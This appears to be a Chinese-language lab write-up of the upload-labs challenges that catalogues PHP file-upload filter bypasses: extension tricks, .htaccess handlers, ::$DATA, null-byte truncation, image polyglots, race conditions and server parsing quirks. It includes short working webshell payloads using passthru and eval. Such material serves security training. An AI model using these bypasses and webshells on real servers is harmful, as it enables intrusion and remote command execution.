Upload-labs&Upload Bypass Summarize

前言

暑假闲着也是闲着,去年这个时候刷完了 sqli-labs,今年想着来刷一下 upload-labs 而这次重点不在于题解,而在于总结与归纳 首先我们得明确一点,即上传的过程

burp的位置在

前端校验

对于前端的校验,上述流程图已经很清晰了,抓包即可破解,所以说前端的校验只能用于提示用户,想要保住安全性是自欺欺人的一种方式 例如 upload-labspass-01

Pass-01

第一关没有什么好说的,只是一个javascript的检测 而js的检测只能位于client,所以这里利用burp抓包改包就可以绕过,不需要分析了 甚至可以

改掉这里的 checkFile()即可

后端代码校验

在对上传的文件进行分析的时候,后端的php代码的不严谨,过滤不严格将会引起各种突破方式 下面以upload-labs的题进行分析

Pass-02:content-type问题  
Pass-03:黑名单绕过(pht,phtml,phps.....)  
Pass-04:.htaccess上传  
Pass-05:后缀大小写问题  
Pass-06:空格未过滤问题  
Pass-07:dot处理不严谨  
Pass-08:::$DATA  
Pass-09:Pass-06与Pass-07的组合使用  
Pass-10:双写后缀绕过问题  
Pass-11:%00截断问题(get)  
Pass-12:0x00截断问题(post)

这里我选择从源码分析,而非黑盒测试 因为一些上传的 trick想必大家都见过,但是为什么这样可以绕过,这就需要从源码分析 知其然,知其所以然。

Pass-02

我们分析关键的代码

if (isset($_POST\['submit'\])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES\['upload_file'\]\['type'\] == 'image/jpeg') || ($_FILES\['upload_file'\]\['type'\] == 'image/png') || ($_FILES\['upload_file'\]\['type'\] == 'image/gif')) {
            if (move\_uploaded\_file($_FILES\['upload_file'\]\['tmp_name'\], UPLOAD_PATH . '/' . $_FILES\['upload_file'\]\['name'\])) {
                $img_path = UPLOAD_PATH . $_FILES\['upload_file'\]\['name'\];
                $is_upload = true;
}

可以看到,这里只校验了 http header里的 content-type,同样抓包修改即可 bypass

Pass-03

还是关键代码

if (isset($_POST\['submit'\])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES\['upload_file'\]\['name'\]);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            if (move\_uploaded\_file($_FILES\['upload_file'\]\['tmp_name'\], UPLOAD_PATH. '/' . $_FILES\['upload_file'\]\['name'\])) {
                 $img_path = UPLOAD_PATH .'/'. $_FILES\['upload_file'\]\['name'\];
                 $is_upload = true;
            }

不难看到这里使用的是黑名单模式 而过滤非常的少

$deny_ext = array('.asp','.aspx','.php','.jsp');

所以我们利用的方法有多种,但是有先决条件

solution1

首先如果 apache httpd.conf中有如下一句

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

等等 那么我们可以更改后缀名绕过

solution2

如果发现并不能解析

phtml .phps .php5 .pht......

那么我们还能尝试使用 .htaccess 这里需要

1.mod_rewrite模块开启
2.AllowOverride All

方法: 在apache下http.conf改配置:

AllowOverride All
LoadModule rewrite_module modules/mod_rewrite.so

然后上传的 .htaccess方式也是多样的 1.上传内容为

<FilesMatch "sky233">
  SetHandler application/x-httpd-php
 </FilesMatch>

此时即可上传 sky233 内容可被解析为 .php 2.上传内容为

AddType application/x-httpd-php .jpg

此时即可上传 sky233.jpg 内容可被解析为 .php

Pass-04

关键过滤

$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");

可以看到依旧没有

.htaccess

所以利用上述该类方法,可以有效绕过

Pass-05

将代码与第4题相比对

明显发现多了一个

.htaccess

并且没有将文件后缀转小写的代码了 于是这里显然可以用大小写绕过,例如 Php

Pass-06

继续与第五题比对

发现第六题删去了将文件名前后去空格的操作 所以可以利用

123.php(空格)

去绕过

Pass-07

继续和第六题比对(左6右7)

发现没有去处文件末尾的点的操作了 于是利用

sky.php.

可以绕过

Pass-08

左8右7 发现这里删掉了 ::$DATA的限制

漏洞参考

https://www.owasp.org/index.php/Windows_::DATA_alternate_data_stream

所以使用

sky.php::$DATA

即可

Pass-09

关键代码如下:

if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES\['upload_file'\]\['name'\]);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move\_uploaded\_file($_FILES\['upload_file'\]\['tmp_name'\], UPLOAD_PATH . '/' . $_FILES\['upload_file'\]\['name'\])) {
                $img_path = UPLOAD_PATH . '/' . $file_name;
                $is_upload = true;
            }

虽然有去末位点和去首位空格的操作 但是并不是循环处理的 所以可以这样构造

sky.php. .

这样经过一轮处理后,变为

sky.php.

剩下的道理如同Pass-07一样 可以轻松绕过

Pass-10

关键代码如下

if (isset($_POST\['submit'\])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES\['upload_file'\]\['name'\]);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        if (move\_uploaded\_file($_FILES\['upload_file'\]\['tmp_name'\], UPLOAD_PATH . '/' . $file_name)) {
            $img_path = UPLOAD_PATH . '/' .$file_name;
            $is_upload = true;
        }

我们发现关键点位于

$file_name = str_ireplace($deny_ext,"", $file_name);

代码并未循环过滤,于是存在

sky.pphphp

这样的绕过

Pass-11

代码关键点在于

if(isset($_POST\['submit'\])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES\['upload_file'\]\['name'\],strrpos($_FILES\['upload_file'\]\['name'\],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES\['upload_file'\]\['tmp_name'\];
        $img_path = $_GET\['save_path'\]."/".rand(10, 99).date("YmdHis").".".$file_ext;
        if(move\_uploaded\_file($temp_file,$img_path)){
            $is_upload = true;

我们容易发现关键点

$img_path = $_GET\['save_path'\]."/".rand(10, 99).date("YmdHis").".".$file_ext;
        if(move\_uploaded\_file($temp_file,$img_path)){
            $is_upload = true;

这里的路径我们可控

$_GET['save_path']

于是不难想到利用

../upload/sky.php

这样的payload 但是后面会自动拼接后缀 于是想到常见的%00截断即可 payload

../upload/sky.php%00

Pass-12

只是单纯的改成了post形式 不再做多余的分析

图片渲染解析问题

确保用户上传的是真实图片而非恶意文件,图片的解析也是一个重要的问题 但这里一般需要打组合拳 即利用文件包含/php伪协议+图片上传 而这里只要求我们上传带有小马的图片即可

Pass-13:unpack()  
Pass-14:getimagesize()  
Pass-15:exif_imagetype()  
Pass-16:imagecreatefromjpeg()

以上函数基本上用图片隐写就可以bypass 即

copy normal.jpg /b + shell.php /a webshell.jpg

或是jpg图片FFD9后加小马

Pass-13

这里的任务是要求传一个带有小马的图片

这里简单的添加到jpg图片末位FFD9后就行了 但这里的利用一般要配合文件包含,但是题目的要求到这里就结束了

Pass-14

利用

$info = getimagesize($filename);
$ext = image\_type\_to_extension($info\[2\]);

获取图像类型,绕过方法同Pass-13

Pass-15

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

这里用了 exif_imagetype()去判断文件类型 同样用Pass-13的方法可以绕过

Pass-16

$im = imagecreatefromjpeg($target_path);
if($im == false){
     $msg = "该文件不是jpg格式的图片!";}

这里使用了 imagecreatefromjpeg()来判断文件类别 同样可用Pass-13的方法绕过

条件竞争问题

有时候你上传的文件,服务端会将其删除或是重命名 这里就需要用到条件竞争的方式 方式也很简单 即用Burp不断上传,再用burp不断访问 一般常见的上传内容为

<?php $c=fopen('/app/intrd','w');fwrite($c,'<?php passthru($_GET\["f"\]);?>');?>

这样在你访问到的同时,就会在当前目录写下一个shell,下次就不用竞争利用了 这里有一道很经典的题目(N1CTF-hard php)

http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/

利用phpinfo中上传的tmp文件,条件竞争,进行文件包含,getshell 以及PHP_SESSION_UPLOAD_PROGRESS的条件竞争,包含getshell的问题

http://skysec.top/2018/03/12/N1CTF-2018-Web/#easy-php

这里额外提一句:对于条件竞争,有时候存在非预期 例如:

-a

同样出自N1CTF(hard-php)

https://xz.aliyun.com/t/2148

这样的文件一般情况无法删除的问题 还有比较常用的可让unlink不运行

/.

绕过的问题

PHP底层问题

Pass-19

关键代码如下

if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST\['save_name'\];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move\_uploaded\_file($_FILES\['upload_file'\]\['tmp_name'\], $img_path)) { 
                $is_upload = true;
            }
        }

这里可以直接使用

sky.php/.

去绕过

访问

具体原因来自于

move_uploaded_file()

该函数会递归删除文件名最后的 /. 详细分析可看

http://wonderkun.cc/index.html/?p=626
http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html

类似的函数,上述师傅的blog已经有提及,我就不再赘述,毕竟他们都是跟过底层的大佬XD

畸形解析

上述方法都不行?试试畸形解析吧!

IIS 6.0

IIS 6.0解析利用方法有三种: 1.目录解析 建立 xx.asp为名称的文件夹,将asp文件放入,访问 /xx.asp/xx.jpg,其中 xx.jpg可以为任意文件后缀,即可解析 2.文件解析 后缀解析: /xx.asp;.jpg /xx.asp:.jpg(此处需抓包修改文件名) 3.默认解析 IIS6.0 默认的可执行文件除了asp还包含这三种

/wooyun.asa  
/wooyun.cer  
/wooyun.cdx

IIS 7.0/7.5

在正常图片URL后添加 /.php 小马如下

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST\[cmd\]?>');?>

Apache

后缀解析: test.php.x1.x2.x3 Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析 test.php.x1.x2.x3则会被解析为php

Nginx<8.03

法1:同 IIS7.0/7.5 法2: xxx.jpg%00.php

后记

上传的可能存在的问题有很多,由于入行未深,浅尝辄止,若各位大佬有更好的奇淫技巧,敬请补充!

参考链接

http://www.sostan.com/hk/webhackiis7/ http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/ https://xz.aliyun.com/t/2148 https://github.com/LandGrey/upload-labs-writeup https://blog.csdn.net/u010726042/article/details/78037696 http://wonderkun.cc/index.html/?p=626 http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-12-12

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券